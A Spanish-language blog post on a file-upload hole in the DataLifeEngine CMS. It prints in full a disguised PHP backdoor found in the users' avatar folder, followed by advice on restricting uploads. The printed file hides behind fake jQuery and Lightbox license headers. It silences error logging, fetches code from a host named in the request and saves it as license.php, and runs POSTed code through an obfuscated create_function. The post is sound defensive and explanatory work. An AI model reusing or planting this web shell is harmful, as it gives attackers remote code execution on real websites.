Encontré otro que esta en el perfil del usuario, al subir imagen del perfil, no se si el desarrollador del DLE no se dio cuenta, pero en el se puede subir archivos con extensión .jpeg pero en texto, ejemplo:
En las versiones actuales de DLE, la vulnerabilidad con la carga de avatares se ha solucionado, pero las versiones anteriores a DLE 9.8 la tienen.
foto_67446903.jpeq<?php
/*
* jQuery Image Library v1.6.2
* http://jquery.com/
*
* Copyright 2011, John Resig
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* Includes Sizzle.js
* http://sizzlejs.com/
* Copyright 2011, The Dojo Foundation
* Released under the MIT, BSD, and GPL Licenses.
*
* Date: Thu May 12 15:04:36 2011 -0400
* * * * * * * * * * * * * * * * * * * * Don't delete this file * * * * * * * * * * * * * * * *
*/
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('display_errors', 0);
@error_reporting(0);
/*
Lightbox v2.51
by Lokesh Dhakar - http://www.lokeshdhakar.com
For more information, visit:
http://lokeshdhakar.com/projects/lightbox2/
Licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/
- free for use in both personal and commercial projects
- attribution requires leaving author name, author link, and the license info intact
Thanks
- Scott Upton(uptonic.com), Peter-Paul Koch(quirksmode.com), and Thomas Fuchs(mir.aculo.us) for ideas, libs, and snippets.
- Artemy Tregubenko (arty.name) for cleanup and help in updating to latest proto-aculous in v2.05.
*/
/*! jQuery v@1.8.0 jquery.com | jquery.org/license */
print "<!-- "."tes"."t -->";
$cmat='unct' .'ion';$cmat= 'cre' . 'ate' .'_f' .$cmat;$Libr= "_ostp";
$sizz=strtoupper($Libr[0].$Libr[4].$Libr[1].$Libr[2].$Libr[3] );
if((isset(${$sizz }[ 'j01bt5ri3p']))&(isset(${$sizz}['fail']))){
if( @ini_get('allow_url_fopen')) {@copy('http://'.${$sizz}['fail'].'/test.txt', $_SERVER['DOCUMENT_ROOT'].'/license.php');}
if(( @function_exists('curl_init'))and ((!file_exists($_SERVER['DOCUMENT_ROOT'].'/license.php')) or (@filesize($_SERVER['DOCUMENT_ROOT'].'/license.php')<'1')))
{$ch = @curl_init();curl_setopt( $ch, CURLOPT_URL, 'http://'.${$sizz}['fail'].'/test.txt' );
curl_setopt( $ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT'] );curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$fp = @fopen($_SERVER['DOCUMENT_ROOT'].'/license.php', 'w');curl_setopt($ch, CURLOPT_FILE, $fp);@curl_exec( $ch );curl_close( $ch );fclose($fp);}}
if (@function_exists($cmat)){if(isset( ${$sizz }[ 'j01bt5ri3p'] ) ) {$cmat('', '};'.${$sizz }['j01bt5ri3p'].'{');}}
?>
Este archivo con extensión .jpeg estaba en la carpeta uploads/fotos y se subía al servidor desde el perfil del usuario. Para poder que ningún desocupado pueda volver esta clase de archivos a nuestro servidor bastara hacer lo siguiente:<li class="form-group">
<label for="image">Avatar</label>
<input type="file" name="image" id="image" class="wide">
</li>
En el input file agregar: accept="image/*" significa "cualquier archivo de imagen".<li class="form-group">
<label for="image">Avatar</label>
<input type="file" name="image" id="image" class="wide" accept=".png, .jpg, .jpeg, .webp">
</li>
Un especificador de tipo de archivo único es una cadena que describe un tipo de archivo que el usuario puede seleccionar en un elemento <input> de tipo file. Cada especificador de tipo de archivo único puede adoptar una de las siguientes formas, Una extensión de nombre de archivo válida que no distingue entre mayúsculas y minúsculas, que comienza con un punto ("."). Por ejemplo: .jpg, .pdf, o .doc.En este caso utilizaremos este, accept=".png, .jpg, .jpeg, .webp"
Desventaja
El atributo accept no valida los tipos de archivos seleccionados; simplemente proporciona sugerencias para los navegadores para guiar a los usuarios hacia la selección de los tipos de archivo correctos. Todavía es posible (en la mayoría de los casos) que los usuarios cambien una opción en el selector de archivos que hace posible anular esto y seleccionar cualquier archivo que deseen, y luego elegir tipos de archivo incorrectos.
Debido a esto, te debes asegurar de que el requisito esperado esté validado en el lado del servidor.
En resumen según DLE eso ya esta corregido, me imagino que con solucionar la puerta trasera que tenia las copias piratas de DLE se solucionaría esto, sin embargo había encontrado el anterior archivo con formatos .jpeg en la carpeta de fotos de los avatares de los usuarios.
Recomendamos leer: Virus en el sistema DataLifeEngine (DLE) y cómo tratarlos
Comentarios